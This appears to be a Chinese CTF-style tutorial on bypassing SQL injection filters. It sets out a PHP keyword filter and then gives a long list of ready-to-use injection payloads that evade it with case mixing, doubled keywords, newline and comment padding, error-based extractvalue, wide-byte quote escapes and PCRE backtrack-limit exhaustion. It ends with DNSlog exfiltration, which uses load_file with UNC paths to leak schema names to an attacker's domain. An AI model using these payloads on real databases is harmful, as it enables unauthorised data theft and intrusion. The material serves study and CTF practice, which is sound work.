挑了一个过滤最多的题目实验
$id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /*
$id= preg_replace(‘/[--]/‘,"", $id); //Strip out --.
$id= preg_replace(‘/[#]/‘,"", $id); //Strip out #.
$id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/select/m‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/union/s‘,"", $id); //Strip out union
$id= preg_replace(‘/select/s‘,"", $id); //Strip out select
$id= preg_replace(‘/UNION/s‘,"", $id); //Strip out UNION
$id= preg_replace(‘/SELECT/s‘,"", $id); //Strip out SELECT
$id= preg_replace(‘/Union/s‘,"", $id); //Strip out Union
$id= preg_replace(‘/Select/s‘,"", $id); //Strip out select
这里就单纯的使用了preg_replace()
,没有使用循环过滤,可以考虑双写过滤(这里对select
过滤了两次,所以得写三次),但是如果循环得过滤,双写/三写就会失效
- 大小写+%0a+/**/+注释符绕过
0‘/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/2,(SeLeCt/*%0a*/group_concat(table_name)/*%0a*/from/*%0a*/information_schema.tables/*%0a*/where/*%0a*/table_schema=‘ctftraining‘),4/*%0a*/or/*%0a*/‘1‘=‘1
- 大小写+%0a+!!/~~+注释符绕过
and/or
后面加上偶数个!!/~~可以替换空格
0‘%0aununionion%0aselselselectectect%0a2,(selselselectectect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=‘ctftraining‘),4%0aor!!~~‘1‘=‘1
- 双写+%0a+/**/+注释符绕过
0‘/*%0a*/ununionion/*%0a*/selselselectectect/*%0a*/2,(selselselectectect/*%0a*/group_concat(table_name)/*%0a*/from/*%0a*/information_schema.tables/*%0a*/where/*%0a*/table_schema=‘ctftraining‘),4/*%0a*/or/*%0a*/‘1‘=‘1
- 双写+%0a+注释符绕过
0‘%0aununionion%0aselselselectectect%0a2,(selselselectectect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=‘ctftraining‘),4%0aor%0a‘1‘=‘1
%09
,%0b
,%0c
,%a0
类似
- 大小写+报错注入+多层括号嵌套+注释符绕过
因为报错注入使用的空格较少,所以可以配合多层括号嵌套进行绕过,但是如果preg_replace()
函数也对括号进行了过滤的话,这个方法就不能使用了。而且必须有返回报错信息。
1‘and(extractvalue(1,concat(‘~‘,(SElect(group_concat(schema_name))from(information_schema.schemata)))))and‘1‘=‘1
- 三写+报错注入+多层括号嵌套+注释符绕过
1‘and(extractvalue(1,concat(‘~‘,(selselselectectect(group_concat(schema_name))from(information_schema.schemata)))))and‘1‘=‘1
如果and/or
被过滤
$id= preg_replace(‘/or/i‘,"", $id); //strip out OR (non case sensitive)
$id= preg_replace(‘/AND/i‘,"", $id); //Strip out AND (non case sensitive)
在刚才的基础上加上and/or
过滤
- &&+%0a+报错注入+大小写+注释符绕过
1‘%0a&&%0aextractvalue(1,concat(0x7e,(SeleCt%0agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)))%0a&&%0a‘1‘=‘1
- 双写+%0a+报错注入+大小写+注释符绕过
1‘%0aaandnd%0aextractvalue(1,concat(0x7e,(SeleCt%0agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)))%0aaandnd%0a‘1‘=‘1
- =替换
and
+%0a+报错注入+大小写+注释符绕过
1‘=extractvalue(1,concat(0x7e,(SeleCt%agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)))%0a=%0a‘1‘=‘1
- ^替换
and
+%0a+报错注入+大小写+注释符绕过
1‘^extractvalue(1,concat(0x7e,(SeleCt%0agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)))%0a^%0a‘1‘=‘1
如果括号被过滤
可以使用order by
大小比较盲注,根据回显猜解目标数据的值
-
order by
盲注+and/or
绕过++%0a关键字大小写绕过+注释符绕过
‘%0a||%0a1%0aUniOn%0aSeleCt%0a1,2,‘(猜测值)‘%0aOrder%0aby%0a3%0a||%0a‘1‘=‘1
逗号被过滤
- 使用
from
+%0a+and/or
绕过+关键字大小写绕过+注释符绕过
1‘%0aaandnd%0asubstring((SeleCt%0agroup_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata)%0afrom%0a1%0afoorr%0a1)=‘(猜测值)‘%0aaandnd%0a‘1‘=‘1
- 使用
join
+%0a+and/or
绕过+关键字大小写绕过+注释符绕过
0‘%0aUniOn%0aSeleCt%0a*%0afrom%0a(SeleCt%0a1)a%0ajoin%0a(SeleCt%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata)b%0aaandnd%0a‘1‘=‘1
单双引号被过滤
- 需要跳出单引号的情况:宽字节注入
%df+and/or
绕过+关键字大小写绕过+注释符绕过
1%df‘%0aUnioN%0aSeleCt%0a1,2,group_concat(schema_name)%0afrom%0ainfoorrmation_schema.schemata%0aaandnd%0a%df‘1%df‘=%df‘1
- 不需要跳出单引号的情况:字符串用十六进制表示,也可以通过进制转换函数转成其它进制
十六进制+and/or
绕过+关键字大小写绕过+注释符绕过(数字型举例)
1%0aUnioN%0aSeleCt%0a1,2,group_concat(table_name)%0afrom%0ainfooermation_schema.tables%0awhere%0atable_schema=0x637466747261696e696e67%0aaandnd%0a
数字被过滤
数字过滤+and/or
过滤+关键字大小写绕过+注释符绕过
true‘%0aUnion%0aSeleCt%0atrue,true+true,group_concat(schema_name)%0afrom%0ainformation_schema.schemata
关键函数被过滤
- 如果只是单纯的使用
preg_replace()
对关键函数进行过滤,那么我们可以直接通过双写的方式绕过
双写+%0a+注释符绕过
-1‘%0aununionion%0aselselselectectect%0a1,2,grogroup_concatup_concat(schema_name)%0afrom%0ainformation_schema.schemata%0anad%0a‘1‘=‘1
大小写+%0a+注释符绕过
-1‘%0aUniOn%0aSeleCt%0a1,2,GrOup_ConCat(schema_name)%0afrom%0ainformation_schema.schemata^‘1‘=‘1
- 使用同义函数/同义语句
- 如果
if()
函数被过滤,可以用case when expr1 else expr2 then expr3 end
替代
1‘ and case when substring((select group_concat(schema_name) from information_schema.schemata),{0},1)=‘{1}‘ else sleep(n) then 0 end and ‘1‘=‘1
- 如果
substring()/substr()
函数被过滤,可以用mid()/left()/right()
函数替代
1‘ and mid((select group_concat(schema_name) from information_schema.schemata),{0},1)=‘{1}‘ and ‘1‘=‘1
1‘ and left((select group_concat(schema_name) from information_schema.schemata ),{0})=‘{1}‘ and ‘1‘=‘1
Trick
handler
语句替代select
查询
-
handler
语句使我们能够一行一行的浏览一个表中的数据。 -
handler
语句只适用于mysql
中
语法结构:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
举例:
handler challenges open as test; //指定数据表进行载入并将返回句柄重命名
handler test read first; //读取指定表/句柄的首行数据
handler test read next; //读取指定表/句柄的下一行数据
...
handler test close; //关闭句柄
通过构造一个不存在的函数,获取当前数据库的名称
不存在函数+%0a+大小写绕过+注释符绕过
0‘/*%0a*/UniOn%0aSeleCt%0a1,ab(),2^‘1‘=‘1
PHPunion.+?select/ig
绕过
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。
所以我们可以在union
和select
中间填充大量的垃圾数据就可以绕过正则
payload:
union/*100万个a,充当垃圾数据*/select即可绕过正则判断
无列名盲注
这里的无列名盲注主要是通过select
进行盲注。
payload:
(select ‘admin‘,‘admin‘)>(select * from users limit 1)
要注意的是,前后的列数一定要相同。
Update注入重复字段赋值
语法结构:
UPDATA table_name set field1=new_value,field1=new_value2 [where]
field1
字段的内容为new_value2
,利用这个特性进行注入:
UPDATE table_name set field1=new_value,field1=(select group_concat(schema_name) from information_schema.schemata) [where]
Limit之后的字段数判断
我们都知道若注入点在where子语句之后,判断字段数可以用order by或group by来进行判断,而limit后可以利用 into @,@ 判断字段数,其中@为mysql临时变量。
select * from users where username like ‘a%‘ limit 1,1 into @,@
Dnslog带出数据
如图所示,作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。
1 union select 1,2,load_file(CONCAT(‘\\‘,(SELECT group_concat(schema_name)
FROM information_schema.schemata),‘.域名‘))
需要注意的是:因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的。